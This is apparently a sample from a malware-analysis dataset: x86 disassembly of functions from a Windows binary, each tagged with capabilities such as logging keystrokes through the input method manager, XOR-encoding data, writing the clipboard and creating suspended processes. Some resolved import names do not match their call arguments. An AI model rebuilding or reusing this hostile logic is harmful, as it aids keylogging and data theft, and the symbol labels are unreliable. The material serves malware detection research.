joyce8/EMBER2024-capa huggingface dataset:
Function at 0x20007770
Capabilities:
Get file size

Disassembly:
sub esp, 0x400
push esi
push edi
push 0
push 0
push 0x2002137c
push 1
push 0x20021368
push 0x20021330
push 0x80000002
call fcn.200087a0
mov ecx, 0xc
mov esi, 0x200212fc
lea edi, [esp + 0x24]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xf3
lea edi, [esp + 0x55]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0
stosb byte es:[edi], al
push 0
push 4
lea eax, [esp + 0x34]
push 0x200212e8
push eax
push 0x80000002
call fcn.200087a0
mov esi, dword [0x2001a138]
add esp, 0x38
lea ecx, [esp + 8]
push 0x200212d8
push ecx
call esi
push 0
push 1
push 0
push 4
lea edx, [esp + 0x18]
push 0x200212bc
push edx
push 0x80000002
call fcn.200087a0
add esp, 0x1c
lea eax, [esp + 8]
push 0x200212a4
push 0x5c
push eax
call dword [0x2001a32c]
mov edi, dword [sym.imp.IMM32.dll_ImmReleaseContext]
add esp, 8
push eax
call edi
mov ecx, dword [esp + 0x410]
push 0
push ecx
push 0
push 4
lea edx, [esp + 0x18]
push str.__gZ_uk
push edx
push 0x80000002
call fcn.200087a0
add esp, 0x1c
lea eax, [esp + 8]
push 0x20021268
push eax
call edi
push 0
push 2
push 0
push 4
lea ecx, [esp + 0x18]
push 0x20021260
push ecx
push 0x80000002
call fcn.200087a0
add esp, 0x1c
lea edx, [esp + 8]
push 0x20021254
push edx
call esi
mov eax, dword [esp + 0x40c]
push 0
push 0
push eax
push 2
lea ecx, [esp + 0x18]
push 0x20021248
push ecx
push 0x80000002
call fcn.200087a0
add esp, 0x1c
push 0xf003f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test edi, edi
je 0x2000797f
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push ebp
push 0xf01ff
push 0x2002123c
push edi
call esi
mov ebp, eax
test ebp, ebp
je 0x2000794a
push ebx
push ebp
call fcn.200030d0
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x20007937
push 0xf01ff
push 0x20021230
push edi
call esi
mov esi, eax
push 1
push esi
call fcn.2000b8a0
push 0
push ebx
call fcn.2000a980
push esi
call fcn.200030d0
add esp, 0x14
test eax, eax
jne 0x20007930
mov ebx, dword [0x2001a304]
push 0x7d0
call ebx
push esi
call fcn.200030d0
add esp, 4
test eax, eax
je 0x2000791c
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, dword [0x20022528]
lea eax, [esp + 0xc]
add edx, 0x128
push edx
push str.CLF_rA_C_a_aJ_nEIY
push eax
call dword [0x2001a478]
add esp, 0xc
lea ecx, [esp + 0xc]
push 0
push ecx
call dword [0x2001a310]
pop ebp
pop edi
pop esi
add esp, 0x400
ret
Function at 0x200092a0
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x24c
push esi
mov dword [esp + 4], 0
call sym.drprov.dll_NPAddConnection
mov esi, eax
test esi, esi
jne 0x200092c2
pop esi
add esp, 0x24c
ret
lea eax, [esp + 0x20]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x128]
push ecx
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x194]
push eax
push ecx
push esi
push 0
mov dword [esp + 0x30], 0x64
mov dword [esp + 0x2c], 0xc8
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x2000934c
push 0x2002167c
call dword [0x2001a1ec]
push 0x20021664
push eax
call dword [0x2001a1e8]
test eax, eax
je 0x2000934c
lea edx, [esp + 0xc]
lea ecx, [esp + 0x188]
push edx
push ecx
call eax
test eax, eax
je 0x2000934c
mov eax, dword [esp + 0xc]
lea edx, [esp + 4]
push edx
push eax
push 0x80000003
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [esp + 0xc]
push ecx
call dword [0x2001a190]
push esi
call fcn.20019690
mov eax, dword [esp + 8]
add esp, 4
test eax, eax
jne 0x20009482
push ebx
push ebp
lea edx, [esp + 0x20]
push edi
xor ebp, ebp
mov ebx, dword [sym.imp.USER32.dll_EnumWindows]
push edx
push ebp
push ebp
lea eax, [esp + 0x20]
push ebp
lea ecx, [esp + 0x40]
push eax
push ecx
push ebp
push 0x80000003
mov dword [esp + 0x34], 0xff
call ebx
cmp eax, 0x103
je 0x2000947f
test eax, eax
jne 0x2000944e
lea edx, [esp + 0x30]
push 0x2d
push edx
call dword [0x2001a32c]
mov edi, eax
push 9
lea eax, [esp + 0x3c]
push 0x20021658
push eax
call dword [0x2001a39c]
add esp, 0x14
test eax, eax
jne 0x2000944e
mov esi, 0x20021654
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x200093f8
test cl, cl
je 0x200093f4
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x200093f8
add eax, 2
add esi, 2
test cl, cl
jne 0x200093d4
xor eax, eax
jmp 0x200093fd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x20009435
mov esi, 0x2002164c
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x2000942c
test cl, cl
je 0x20009428
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x2000942c
add eax, 2
add esi, 2
test cl, cl
jne 0x20009408
xor eax, eax
jmp 0x20009431
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x2000944e
lea eax, [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
push ecx
push 0x80000003
call dword [sym.imp.USER32.dll_CallNextHookEx]
test eax, eax
je 0x2000947f
lea edx, [esp + 0x24]
lea eax, [esp + 0x14]
push edx
push 0
push 0
push 0
lea ecx, [esp + 0x40]
inc ebp
push eax
push ecx
push ebp
push 0x80000003
mov dword [esp + 0x34], 0xff
call ebx
cmp eax, 0x103
jne 0x20009399
pop edi
pop ebp
pop ebx
mov eax, dword [esp + 4]
pop esi
add esp, 0x24c
ret
Function at 0x20009780
Capabilities:
Create process on windows
Create process suspended
Get common file path
Get disk information

Disassembly:
sub esp, 0x30
push esi
lea eax, [esp + 0x14]
mov esi, ecx
push edi
mov dword [esp + 8], eax
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
lea edx, [esp + 0x20]
push ecx
push 4
push edx
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
je 0x200097bc
pop edi
xor eax, eax
pop esi
add esp, 0x30
ret 4
mov ecx, dword [esp + 0x3c]
lea eax, [esp + 0x10]
push eax
push ecx
mov ecx, esi
call fcn.2000b370
mov edx, dword [esp + 8]
lea ecx, [esp + 8]
push ecx
mov word [edx], 0x500
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
mov word [eax + 2], 0x500
mov eax, dword [esp + 0x10]
push edx
push eax
call sub.KERNEL32.dll_GetLogicalDriveStringsA
mov ecx, dword [esp + 0x14]
push ecx
call fcn.20019690
mov edx, dword [esp + 0x10]
add esp, 4
push edx
call sub.KERNEL32.dll_GetTempPathA
mov ecx, dword [esp + 8]
pop edi
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x30
ret 4

Function at 0x20009e10
Capabilities:
Encode data using xor

Disassembly:
push esi
call fcn.2000c9a0
mov esi, dword [esp + 0xc]
mov ecx, dword [esp + 8]
or eax, 0xffffffff
test esi, esi
jbe 0x20009e45
push ebx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x200239f8]
xor eax, edx
inc ecx
dec esi
jne 0x20009e26
pop ebx
not eax
mov esi, eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x20009e61
push esi
push 0x20021510
push eax
call dword [0x2001a478]
add esp, 0xc
mov eax, esi
pop esi
ret
Function at 0x20009e70
Capabilities:
Enumerate devices by category

Disassembly:
push 0xffffffffffffffff
push 0x20019aab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x828
lea eax, [esp + 0x14]
push ebp
push eax
xor ebp, ebp
push 0x2001ddb8
push 1
push ebp
push 0x2001de48
mov byte [esp + 0x1b], 0
call dword [0x2001a608]
cmp eax, ebp
je 0x20009ec7
xor al, al
pop ebp
mov ecx, dword [esp + 0x828]
mov dword fs:[0], ecx
add esp, 0x834
ret
mov dword [esp + 8], ebp
mov eax, dword [esp + 0x18]
lea edx, [esp + 8]
push ebp
push edx
mov ecx, dword [eax]
push 0x2001de38
push eax
mov dword [esp + 0x844], ebp
call dword [ecx + 0xc]
cmp eax, ebp
je 0x20009f1c
mov eax, dword [esp + 8]
mov dword [esp + 0x834], 0xffffffff
cmp eax, ebp
je 0x20009f04
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor al, al
pop ebp
mov ecx, dword [esp + 0x828]
mov dword fs:[0], ecx
add esp, 0x834
ret
mov eax, dword [esp + 8]
push eax
mov edx, dword [eax]
call dword [edx + 0x14]
mov eax, dword [esp + 8]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
cmp eax, ebp
jne 0x2000a02f
push ebx
mov ebx, dword [0x2001a28c]
push esi
mov esi, dword [esp + 0x844]
push edi
mov edi, dword [sym.imp.IMM32.dll_ImmGetContext]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x1c]
push edx
push 0x2001a880
mov ecx, dword [eax]
push 0
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x2000a004
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x28]
push 0
mov word [esp + 0x2c], 8
mov ecx, dword [eax]
push edx
push 0x2002169c
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x20009ffa
mov eax, dword [esp + 0x30]
push eax
call dword [0x2001a34c]
add esp, 4
test eax, eax
jbe 0x20009ffa
test esi, esi
je 0x20009ff6
mov edx, dword [esp + 0x30]
push 0
push 0
lea ecx, [esp + 0x40]
push 0x800
push ecx
push 0xffffffffffffffff
push edx
push 0
push 0
call ebx
lea eax, [esp + 0x38]
push 0x64
push eax
push esi
call dword [0x2001a348]
add esp, 0xc
push esi
call edi
push esi
lea ebp, [eax + ebp + 1]
call edi
mov ecx, dword [esp + 0x30]
lea esi, [esi + eax + 1]
push ecx
call dword [0x2001a3dc]
inc byte [esp + 0x13]
mov eax, dword [esp + 0x1c]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x1c]
mov edx, dword [eax]
push ecx
push 1
push eax
call dword [edx + 0xc]
test eax, eax
je 0x20009f5a
pop edi
pop esi
pop ebx
mov eax, dword [esp + 0x840]
test eax, eax
je 0x2000a03c
mov dword [eax], ebp
mov eax, dword [esp + 8]
mov dword [esp + 0x834], 0xffffffff
test eax, eax
je 0x2000a055
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [esp + 0x82c]
mov al, byte [esp + 7]
pop ebp
mov dword fs:[0], ecx
add esp, 0x834
ret
Function at 0x2000a980
Capabilities:
Write clipboard data

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jne 0x2000a993
xor eax, eax
pop esi
add esp, 8
ret
push ebp
push edi
push 0x200215b0
call dword [0x2001a1ec]
push str.NbRbhusxiPBKG_P_F_NG_
push eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [0x2001a1e8]
mov edi, dword [0x2001a19c]
push esi
push 0
push 0x451
mov ebp, eax
call edi
test eax, eax
mov dword [esp + 0x18], eax
jne 0x2000a9f3
push esi
push eax
push 0x450
call edi
test eax, eax
mov dword [esp + 0x18], eax
je 0x2000aa85
mov esi, dword [esp + 0x1c]
test esi, esi
je 0x2000aa64
lea ecx, [esp + 0xc]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push 1
push 3
push 0
push 0x2000000
push eax
call dword [sym.imp.USER32.dll_SetClipboardData]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
add esi, 4
push 0x19d
push esi
push 0
push edx
call fcn.20019848
call dword [0x2001a1cc]
push 0x1a1
push esi
push esi
call dword [0x2001a250]
mov eax, dword [esp + 0xc]
push eax
call dword [0x2001a30c]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x2000aa85
test ebp, ebp
je 0x2000aa85
push 1
push 0
lea ecx, [esp + 0x20]
push 0x1f0fff
push ecx
push 0xffffffffffffffff
push eax
push 0xffffffffffffffff
call ebp
mov eax, dword [esp + 0x18]
push 0
push eax
call dword [0x2001a148]
mov edx, dword [esp + 0x18]
mov esi, eax
push edx
call dword [0x2001a30c]
pop edi
mov eax, esi
pop ebp
pop esi
add esp, 8
ret
Function at 0x2000adc0
Capabilities:
Encode data using xor
Log keystrokes via input method manager

Disassembly:
sub esp, 0x808
lea eax, [esp + 0x10c]
push ebx
push esi
push edi
push 0x104
push eax
call dword [sym.imp.IMM32.dll_ImmGetCompositionStringA]
lea edi, [esp + 0x118]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x20021514
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
call dword [0x2001a138]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.IMM32.dll_ImmGetContext]
lea ebx, [esp + eax + 0x14]
mov eax, dword [0x20022528]
or ecx, 0xffffffff
push ebx
lea edi, [eax + 0x10]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.20010400
mov edi, 0x20021ad8
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
push 4
mov ecx, edx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x28]
push 2
rep movsb byte es:[edi], byte [esi]
push eax
call dword [0x2001a200]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x2000af61
mov esi, dword [0x20022528]
mov ecx, 0x17e
lea edi, [esp + 0x21c]
push 0
rep movsd dword es:[edi], dword [esi]
lea esi, [esp + 0x220]
call dword [0x2001a344]
push eax
call dword [0x2001a340]
mov edi, dword [0x2001a330]
add esp, 8
call edi
mov dword [esp + 0xc], eax
fild dword [esp + 0xc]
fmul qword [0x2001a7a8]
call fcn.200196d6
test al, al
je 0x2000aed1
mov ecx, 0x5f8
mov dl, byte [esi]
xor dl, al
mov byte [esi], dl
inc esi
dec ecx
jne 0x2000aeef
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x224]
push 0x5f8
push edx
push ebx
call dword [0x2001a21c]
push ebx
call dword [0x2001a30c]
mov edi, 0x20021ac8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x11c]
push ecx
call fcn.2000b520
add esp, 8
pop edi
pop esi
pop ebx
add esp, 0x808
ret
Function at 0x2000b010
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x11c
push ebx
push ebp
push esi
push 0x400
mov dword [esp + 0x20], ecx
push 0x40
mov dword [esp + 0x14], 0xff
call dword [0x2001a198]
mov esi, dword [esp + 0x130]
mov ebp, eax
push esi
lea eax, [ebp + 2]
mov byte [ebp], 0x8f
push eax
mov byte [ebp + 1], 0xa
call dword [sym.imp.IMM32.dll_ImmReleaseContext]
push esi
call dword [sym.imp.IMM32.dll_ImmGetContext]
lea ecx, [esp + 0x20]
mov ebx, eax
push ecx
mov ecx, dword [esp + 0x130]
push 0
push 0
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x38]
push edx
push eax
push 0
push ecx
add ebx, 3
mov dword [esp + 0x30], 0
call dword [sym.imp.USER32.dll_EnumWindows]
cmp eax, 0x103
je 0x2000b178
push edi
test eax, eax
jne 0x2000b137
push ebp
call dword [0x2001a194]
mov edx, dword [esp + 0x10]
lea ecx, [ebx + edx + 2]
cmp ecx, eax
jbe 0x2000b0c0
lea edx, [ebx + 0x400]
push 0x42
push edx
push ebp
call dword [0x2001a1a4]
mov ebp, eax
mov ecx, dword [esp + 0x10]
lea esi, [esp + 0x2c]
mov eax, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x18]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
push 1
lea eax, [esp + 0x34]
push 0
lea ebx, [ebx + ecx + 1]
mov ecx, dword [esp + 0x13c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
jne 0x2000b136
push eax
push eax
push eax
push eax
push eax
push eax
lea edx, [esp + 0x34]
push eax
push edx
push eax
push eax
mov dword [esp + 0x44], eax
push eax
mov eax, dword [esp + 0x44]
push eax
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x2000b12b
mov byte [ebx + ebp], 1
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
inc ebx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push edx
push 0
push 0
lea ecx, [esp + 0x1c]
push 0
lea edx, [esp + 0x3c]
inc eax
push ecx
push edx
mov dword [esp + 0x2c], eax
push eax
mov eax, dword [esp + 0x14c]
push eax
mov dword [esp + 0x30], 0xff
call dword [sym.imp.USER32.dll_EnumWindows]
cmp eax, 0x103
jne 0x2000b093
pop edi
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.200101c0
push ebp
call dword [0x2001a190]
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret 8

Function at 0x2000b8a0
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x2c
xor eax, eax
mov edx, dword [esp + 0x34]
mov dword [esp + 4], eax
push esi
mov dword [esp + 0xc], eax
xor esi, esi
mov dword [esp + 0x10], eax
mov dword [esp + 8], esi
mov dword [esp + 0x14], eax
mov dword [esp + 4], 0x15180
lea eax, [esp + 0x18]
mov ecx, 3
mov dword [eax + 4], esi
mov dword [eax], edx
add eax, 8
dec ecx
jne 0x2000b8d1
mov eax, dword [esp + 0x34]
lea edx, [esp + 4]
push edx
lea ecx, [esp + 0x1c]
push 2
push eax
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop esi
add esp, 0x2c
ret
Function at 0x2000c970
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ecx, 0x5f8
mov eax, esi
mov dl, byte [esi + 0xf]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec ecx
jne 0x2000c980
mov al, byte [esi]
mov cl, byte [esi + 0xe]
pop esi
cmp al, cl
pop ebx
jne 0x2000c99c
cmp al, 0x2b
jne 0x2000c99c
mov al, 1
ret
xor al, al
ret

Function at 0x2000c9a0
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor edx, edx
mov ecx, 0x200239f8
mov eax, edx
mov esi, 8
test al, 1
je 0x2000c9bc
shr eax, 1
xor eax, 0xedb88320
jmp 0x2000c9be
shr eax, 1
dec esi
jne 0x2000c9af
mov dword [ecx], eax
add ecx, 4
inc edx
cmp ecx, 0x20023df8
jl 0x2000c9a8
pop esi
ret

Function at 0x2000cc50
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push 0x20021a90
push 0x80000002
call dword [sym.imp.USER32.dll_CallNextHookEx]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.LJy
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret

Function at 0x2000cd40
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [0x20024190]
push ebx
push 0
push 0x80
push 4
push 0
push 3
add eax, 0xd
push 0x40000000
push eax
call dword [0x2001a200]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x2000cde3
push 0
push ebx
mov dword [esp + 0xc], 0
call dword [0x2001a210]
cmp eax, 0x3200000
jae 0x2000cd8f
push 2
push 0
push 0
push ebx
call dword [0x2001a218]
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
push ebp
call dword [sym.imp.IMM32.dll_ImmGetContext]
mov edi, eax
push edi
call fcn.200196d0
add esp, 4
mov esi, eax
test edi, edi
jle 0x2000cdc0
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x44
mov byte [eax], dl
inc eax
dec ebp
jne 0x2000cdb4
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [0x2001a21c]
push ebx
call dword [0x2001a30c]
push esi
call fcn.20019690
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x2000de20
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x20019d2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x2001a82c
mov eax, dword [esi + 0xf8]
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push eax
mov dword [esp + 0x1c], 0
call edi
mov ecx, dword [esi + 0xfc]
push ecx
call edi
mov edx, dword [esi + 0x100]
push edx
call edi
mov eax, dword [esi + 0x12c]
push eax
call edi
mov ecx, dword [esi + 0x104]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ecx
call edi
mov edx, dword [esi + 0x108]
push edx
call edi
mov eax, dword [esi + 0x130]
push eax
call edi
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x2000dea8
push eax
call fcn.20019690
add esp, 4
mov ecx, dword [esi + 0x118]
push ecx
call fcn.20019690
mov edx, dword [esi + 0x114]
push edx
call fcn.20019690
mov eax, dword [esi + 0x11c]
push eax
call fcn.20019690
add esp, 0xc
lea ecx, [esi + 0x14]
push ecx
call dword [0x2001a17c]
mov ebx, dword [0x2001a4e0]
mov dword [esi + 0x30], 0x2001a830
add esi, 0x74
mov edi, 0x10
mov edx, dword [esi]
push edx
call ebx
add esi, 4
dec edi
jne 0x2000deee
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x2000e2b0
Capabilities:
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x20019958
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x2001a760
mov edi, dword [0x2001a1b0]
lea eax, [esi + 0x18]
push 0
push eax
mov dword [esp + 0x1c], 0
call edi
lea ecx, [esi + 0x10]
push 0
push ecx
call edi
mov edx, dword [esi + 0x2c]
mov edi, dword [0x2001a300]
push 0xffffffffffffffff
push edx
call edi
mov eax, dword [esi + 0x30]
push 0xffffffffffffffff
push eax
call edi
mov ecx, dword [esi + 0x2c]
mov edi, dword [0x2001a30c]
push ecx
call edi
mov edx, dword [esi + 0x30]
push edx
call edi
mov ecx, dword [esi + 0x34]
test ecx, ecx
je 0x2000e327
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call fcn.2000af70
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret